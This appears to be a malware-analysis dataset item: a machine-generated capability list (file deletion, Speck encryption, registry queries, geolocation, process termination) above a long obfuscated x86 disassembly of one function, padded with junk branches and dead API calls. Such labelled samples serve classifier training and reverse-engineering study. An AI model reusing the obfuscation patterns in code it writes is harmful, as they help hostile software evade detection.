Function at 0x40f634
Capabilities:
Delete file
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file size
Get geographical location
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Terminate process

Disassembly:
mov eax, 0x4ca761
call fcn.004ca220
sub esp, 0xcb0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x70], dl
mov dword [ebp - 0x6c], ecx
movdqa xmm0, xmmword [0xa8f860]
movdqu xmmword [ebp - 0x8f4], xmm0
lea ecx, [ebp - 0x8f4]
lea eax, [ebp - 0x8e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3c0]
call fcn.0040bcda
mov dword [ebp - 0x28], 0x2bd7b1c2
mov dword [ebp - 0x20], 0xc1b16eb2
mov dword [ebp - 0x40], 0x251f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x40f6b3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xad8], 0xccb4f7bc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x40f69a
xor eax, eax
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], eax
jl 0x40f78c
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
xor edx, edx
cmp eax, 0x55ee
setg dl
mov eax, dword [ebp - 0x3c0]
imul edx, dword [eax + ecx*4]
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setge cl
mov eax, dword [ebp - 0x28]
inc eax
add eax, ecx
mov edx, dword [ebp - 0x3c0]
imul eax, dword [edx + edi*4]
xor ecx, ecx
cmp eax, dword [edx + ebx*4]
setl cl
mov eax, dword [ebp - 0x24]
sub ecx, dword [edx + eax*4]
xor eax, eax
mov esi, dword [ebp - 0x34]
cmp dword [edx + esi*4], ecx
setle al
xor ecx, ecx
mov esi, dword [ebp - 0x44]
cmp eax, dword [edx + esi*4]
setne cl
xor eax, eax
mov esi, dword [ebp - 0x54]
cmp dword [edx + esi*4], ecx
setl al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 3
jg 0x40f783
xor ebx, ebx
mov dword [ebp - 0x24], 0x40774242
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c0]
cmp dword [eax + ecx*4], ebx
jne 0x40f783
mov dword [ebp - 0x24], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x40f75e
dec dword [ebp - 0x28]
jns 0x40f6c3
xor esi, esi
inc esi
lea ecx, [ebp - 0x3c0]
call fcn.0040bd00
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x24], 0xba86
mov dword [ebp - 0x54], 0x19c2
mov dword [ebp - 0x34], 0x8cdc14c3
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x30]
sub eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setle dl
imul eax, edx, 0xfffffffb
test eax, eax
je 0x40f808
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x40f800
push 0x771
call dword [sym.imp.GDI32.dll_UpdateColors]
or ebx, 0xffffffff
jmp 0x40f8fb
mov dword [ebp - 0x44], 0xfc72fa5d
mov dword [ebp - 0x34], 0x5adb51fd
mov dword [ebp - 0x34], 0x87ea82bc
xor eax, eax
mov dword [ebp - 0x20], eax
or ebx, 0xffffffff
cmp dword [ebp - 0x20], 2
jge 0x40f840
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x294], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x40f82b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x40f8e9
push 0xfffffffffffffff8
pop edi
jmp 0x40f853
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x34], esi
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x40f874
push eax
push 0x1f3a
push eax
push 0x914
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x294]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x40f8bf
cmp dword [ebp - 0x24], eax
jne 0x40f8bf
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x76e1
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
jg 0x40f8a8
cmp dword [ebp - 0x290], eax
mov ecx, eax
je 0x40f8aa
mov ecx, esi
cmp ecx, dword [ebp - 0x294]
jne 0x40f8b9
cmp dword [ebp - 0x18], eax
je 0x40f8b9
mov eax, esi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
cmp edi, eax
sbb edx, edx
neg edx
neg edx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x40f851
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
movdqa xmm0, xmmword [0xa8f860]
movdqu xmmword [ebp - 0x9b4], xmm0
lea ecx, [ebp - 0x9b4]
lea eax, [ebp - 0x9a4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3fc]
call fcn.0040bcda
mov dword [ebp - 0x28], 0x2bd7b1c2
mov dword [ebp - 0x18], 0xc64a6847
push esi
lea ecx, [ebp - 0x4a4]
call fcn.0040bc2e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x40f95f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4a4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x40f949
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x40f978
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x40f975
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
je 0x40f964
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x40f9cb
jmp 0x40f98a
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x40f9b0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x4a4]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x20]
jns 0x40f999
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4a4]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0
jle 0x40f988
lea ecx, [ebp - 0x4a4]
call fcn.0040bd00
mov dword [ebp - 0x20], 0xc1b16eb2
mov dword [ebp - 0x20], esi
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
je 0x40fa9f
mov byte [ebp - 0x11], al
mov dword [ebp - 0x34], 0x1014
cmp dword [ebp - 0x34], 0x12f3
jle 0x40fa3d
mov ebx, eax
mov edi, eax
mov dword [ebp - 0x24], eax
and eax, edi
or eax, ebx
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x1a48
jl 0x40fa09
inc edi
cmp edi, 0x23e
push 0
pop eax
jl 0x40fa06
inc ebx
cmp ebx, 0x78d5
jl 0x40fa04
cmp byte [ebp - 0x11], 0
je 0x40fa4a
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x34], 0xe70
jge 0x40fa67
mov edx, str.wuqmhupn_ohjdprxh_vjeorzfck_jujkm_fcxc_drdck_tygxialb_pnisbwr_xqdrxbvx_fqajcyrnj_pvwuedi_awdmywgpz_bwrxxd_dnkh
mov ecx, 0xa9b358
call fcn.0040e54d
or ebx, 0xffffffff
mov dword [ebp - 4], ebx
jmp 0x40fa92
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
xor eax, eax
jmp 0x40f9e5
mov dword [ebp - 0x40], 0x251f
mov dword [ebp - 0x18], 0x324ec2e0
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], 0x5761ac7e
mov dword [ebp - 0x38], 0xa258
mov dword [ebp - 0x24], 0xd8e65dd4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x18], 0x15
mov edi, dword [sym.imp.USER32.dll_LoadStringA]
cmp dword [ebp - 0x18], 3
jl 0x40faf9
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x40faf4
push 0x23a3
push eax
push 0x2661
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
jmp 0x40fad5
mov dword [ebp - 0x18], 6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov ebx, 0xa0c0e075
cmp dword [ebp - 0x2c], 0
jne 0x40fb69
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setle dl
cmp ebx, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0xffff98d8
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 5
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18], 2
jbe 0x40fb69
xor eax, eax
mov ecx, eax
jmp 0x40fb6d
mov ecx, esi
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x40fb7c
cmp dword [ebp - 0x34], eax
mov edx, esi
jne 0x40fb7e
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setle cl
push 4
pop eax
sub eax, ecx
je 0x40fb9a
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x40fb9c
mov ecx, esi
jmp 0x40fb9e
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x324ec2e0
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], 0x5761ac7e
mov dword [ebp - 0x38], 0xa258
mov dword [ebp - 0x24], 0xd8e65dd4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x18], 0x15
jmp 0x40fbec
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x40fbe9
push 0x23a3
push eax
push 0x2661
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jge 0x40fbd0
mov dword [ebp - 0x18], 6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x40fc5d
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setle dl
cmp ebx, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0xffff98d8
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 5
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18], 2
jbe 0x40fc5d
xor eax, eax
mov ecx, eax
jmp 0x40fc61
mov ecx, esi
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x40fc70
cmp dword [ebp - 0x34], eax
mov edx, esi
jne 0x40fc72
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setle cl
push 4
pop eax
sub eax, ecx
je 0x40fc8d
cmp dword [ebp - 0x2c], 0
je 0x40fc8d
mov eax, esi
jmp 0x40fc8f
xor eax, eax
mov dword [ebp - 0x1c], eax
movdqa xmm0, xmmword [0xa8f7e0]
movdqu xmmword [ebp - 0x934], xmm0
lea ecx, [ebp - 0x934]
lea eax, [ebp - 0x924]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2ac]
call fcn.0040bcda
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], 0x7c2
or ebx, 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xda5659cd
mov dword [ebp - 0x38], 0xfc53d8b3
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x24], 0x212f
cmp dword [ebp - 0x24], 0x23df
jle 0x40fd20
mov edi, eax
mov ebx, eax
mov eax, ebx
xor eax, edi
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
inc ebx
cmp ebx, 0x7c41
jl 0x40fcf7
inc edi
cmp edi, 0x444c
push 0
pop eax
jl 0x40fcf5
or ebx, 0xffffffff
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x1dab
jge 0x40fd3f
mov edx, str.lqzhweikt_letvol_vqle_moubxngdh
mov ecx, 0xa9b358
call fcn.0040e54d
mov dword [ebp - 4], ebx
xor eax, eax
jmp 0x40fd6b
mov dword [ebp - 0x20], eax
jmp 0x40fd81
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x3a4], 0xea983111
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x40fd70
mov edi, dword [ebp - 0x2ac]
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x39c], 0
jne 0x40fda5
mov eax, dword [ebp - 0x398]
mov eax, dword [ebp - 0x398]
mov edx, dword [edi + 0xc]
mov eax, edx
imul eax, edx
xor ecx, ecx
cmp eax, 5
setge cl
xor eax, eax
cmp ecx, 0xa191
setle al
cmp eax, edx
jg 0x40fdce
test edx, edx
je 0x40fdd0
mov edx, esi
mov eax, dword [ebp - 0x3a4]
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
cmp ecx, 0x8f8f
setle dl
mov eax, dword [ebp - 0x1c]
dec dword [ebp - 0x1c]
cmp eax, edx
jge 0x40fdf6
mov ecx, esi
jmp 0x40fdf8
xor ecx, ecx
mov eax, dword [ebp - 0x2ac]
mov eax, dword [eax]
imul eax, ecx
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 0xfffffff9
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2ac]
xor ebx, ebx
cmp dword [eax + 8], ebx
jne 0x40fe33
xor eax, eax
cmp dword [ebp - 0x38], eax
mov edx, eax
je 0x40fe35
mov edx, esi
xor ecx, ecx
mov eax, dword [ebp - 0x2ac]
cmp edx, dword [eax + 4]
setl cl
xor eax, eax
cmp ecx, dword [edi + 0xc]
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x2ac]
call fcn.0040bd00
xor eax, eax
mov dword [ebp - 0x20], eax
push 3
pop edi
cmp dword [ebp - 0x20], edi
jge 0x40fe84
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb14], 0xccb4f7bc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x40fe6c
xor eax, eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x410056
jmp 0x40fe94
xor eax, eax
mov dword [ebp - 0x18], 0x324ec2e0
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], 0x5761ac7e
mov dword [ebp - 0x38], 0xa258
mov dword [ebp - 0x24], 0xd8e65dd4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x18], 0x15
jmp 0x40fee3
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x40fee0
push 0x23a3
push eax
push 0x2661
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jge 0x40fec3
mov dword [ebp - 0x18], 6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x40ff58
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setle dl
mov eax, 0xa0c0e075
cmp eax, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0xffff98d8
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 5
setl al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18], 2
jbe 0x40ff58
xor eax, eax
mov ecx, eax
jmp 0x40ff5c
mov ecx, esi
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x40ff6b
cmp dword [ebp - 0x34], eax
mov edx, esi
jne 0x40ff6d
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setle cl
push 4
pop eax
sub eax, ecx
je 0x40ff84
cmp dword [ebp - 0x2c], 0
jne 0x40ff86
xor esi, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
xor edx, edx
cmp eax, 0x55ee
setg dl
mov eax, dword [ebp - 0x3fc]
imul edx, dword [eax + ecx*4]
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setge cl
mov eax, dword [ebp - 0x28]
inc eax
add eax, ecx
mov edx, dword [ebp - 0x3fc]
imul eax, dword [edx + edi*4]
xor ecx, ecx
cmp eax, dword [edx + ebx*4]
setl cl
mov eax, dword [ebp - 0x24]
sub ecx, dword [edx + eax*4]
xor eax, eax
mov esi, dword [ebp - 0x34]
cmp dword [edx + esi*4], ecx
setle al
xor ecx, ecx
mov esi, dword [ebp - 0x44]
cmp eax, dword [edx + esi*4]
setne cl
xor eax, eax
mov esi, dword [ebp - 0x54]
cmp dword [edx + esi*4], ecx
setl al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
push 3
pop edi
cmp dword [ebp - 0x20], edi
jg 0x41004a
xor ebx, ebx
mov dword [ebp - 0x24], 0x40774242
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3fc]
cmp dword [eax + ecx*4], ebx
jne 0x41004a
mov dword [ebp - 0x24], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x410026
dec dword [ebp - 0x28]
push 1
pop esi
jns 0x40fe92
lea ecx, [ebp - 0x3fc]
call fcn.0040bd00
xor edi, edi
inc edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x38], 0x207647f1
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x410129
or ebx, 0xffffffff
mov dword [ebp - 0x260], 0x98764276
mov dword [ebp - 0x25c], 0x98764276
mov dword [ebp - 0x258], 0x98764276
mov dword [ebp - 0x254], 0x98764276
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp eax, ecx
setle dl
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x25c], ecx
jle 0x4100f8
cmp dword [ebp - 0x1c], 0
je 0x4100f8
mov ecx, edi
jmp 0x4100fa
xor ecx, ecx
xor eax, eax
cmp ecx, ebx
setg al
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
jne 0x410117
cmp dword [ebp - 0x38], eax
je 0x410117
mov eax, edi
jmp 0x410119
xor eax, eax
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
je 0x410082
mov dword [ebp - 0x18], 0xf8c7b5c6
mov dword [ebp - 0x1c], 0x3a4d1b40
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jle 0x410149
cmp dword [ebp - 0x18], 0
je 0x410149
mov ecx, edi
jmp 0x41014b
xor ecx, ecx
mov eax, dword [ebp - 0x18]
add eax, ecx
jne 0x410155
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x1c], 0xffff
xor ecx, ecx
cmp eax, 0xfffffffa
setl cl
xor eax, eax
cmp ecx, 0x40ee1d45
setg al
xor ecx, ecx
cmp eax, 0xfffffffc
setge cl
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x18]
je 0x4101a4
mov dword [ebp - 0x24], 0x1701
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
jmp 0x4101e6
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x4101c2
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x4101e6
push 0x1537
push 0xddb
push 0x1275
push 0x2115
push eax
call dword [sym.imp.USER32.dll_SetRect]
movdqa xmm0, xmmword [0xa8f860]
movdqu xmmword [ebp - 0x994], xmm0
lea ecx, [ebp - 0x994]
lea eax, [ebp - 0x984]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x414]
call fcn.0040bcda
push 3
lea ecx, [ebp - 0x5e0]
call fcn.0040bc2e
mov dword [ebp - 0x20], 0x977
mov dword [ebp - 0x30], 0xcc7c44d9
mov dword [ebp - 0x20], 0
jmp 0x410247
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5e0]
mov dword [eax + ecx*4], 0x707dfe4d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x410234
mov dword [ebp - 0x20], 0xc341
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x41031d
push 2
pop ebx
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x410332
cmp dword [ebp - 0x20], eax
jne 0x410332
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x410312
push 3
lea ecx, [ebp - 0x5c8]
call fcn.0040bc2e
mov dword [ebp - 0x3c], 0
jmp 0x4102af
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5c8]
mov dword [eax + ecx*4], 0xd058bbe5
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x41029c
mov esi, dword [ebp - 0x5c8]
and dword [esi + 4], 0
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x4102d4
push 0x151
call dword [sym.imp.USER32.dll_IsZoomed]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5e0]
mov eax, dword [ecx]
mov dword [ecx + edx*4], eax
inc dword [esi + 4]
cmp dword [esi + 4], ebx
jle 0x4102bf
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x4102fc
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea ecx, [ebp - 0x5c8]
call fcn.0040bd00
dec dword [ebp - 0x20]
jns 0x410286
xor eax, eax
dec dword [ebp - 0x30]
jns 0x410271
jmp 0x410332
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x410332
push eax
push 0x1c27
push eax
call dword [sym.imp.GDI32.dll_GetBitmapBits]
lea ecx, [ebp - 0x5e0]
call fcn.0040bd00
mov dword [ebp - 0x4c], 0x2bd7b1c2
mov dword [ebp - 0x30], 0xc1b16eb2
mov dword [ebp - 0x2c], 0xe19d29be
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x24], 0x3b4709ba
mov dword [ebp - 0x24], 0x5e3d1aa1
mov dword [ebp - 0x1c], 0x7cccaea0
mov dword [ebp - 0x24], 0x54d8142
movdqa xmm0, xmmword [0xa8f870]
movdqu xmmword [ebp - 0x954], xmm0
lea ecx, [ebp - 0x954]
lea eax, [ebp - 0x944]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x8a0]
call fcn.0040bcda
mov dword [ebp - 0x20], 0xe2095e04
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0xfff8
setne cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xa5ea
jl 0x4103ce
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x2c]
add eax, 0xbda9
je 0x4103f2
cmp dword [ebp - 0x1c], 0
je 0x4103f2
mov edx, edi
jmp 0x4103f4
xor edx, edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0
je 0x41041d
mov eax, dword [ebp - 0x8a0]
xor ebx, ebx
cmp dword [eax], ebx
je 0x41041d
mov eax, edi
jmp 0x41041f
xor eax, eax
xor edx, edx
or esi, 0xffffffff
cmp eax, esi
sete dl
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x20], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x410459
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x410456
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1c
je 0x41043d
lea ecx, [ebp - 0x8a0]
call fcn.0040bd00
mov dword [ebp - 0x40], 0x251f
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x24], 0xba86
mov dword [ebp - 0x54], 0x19c2
mov dword [ebp - 0x34], 0x8cdc14c3
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x30]
sub eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setle dl
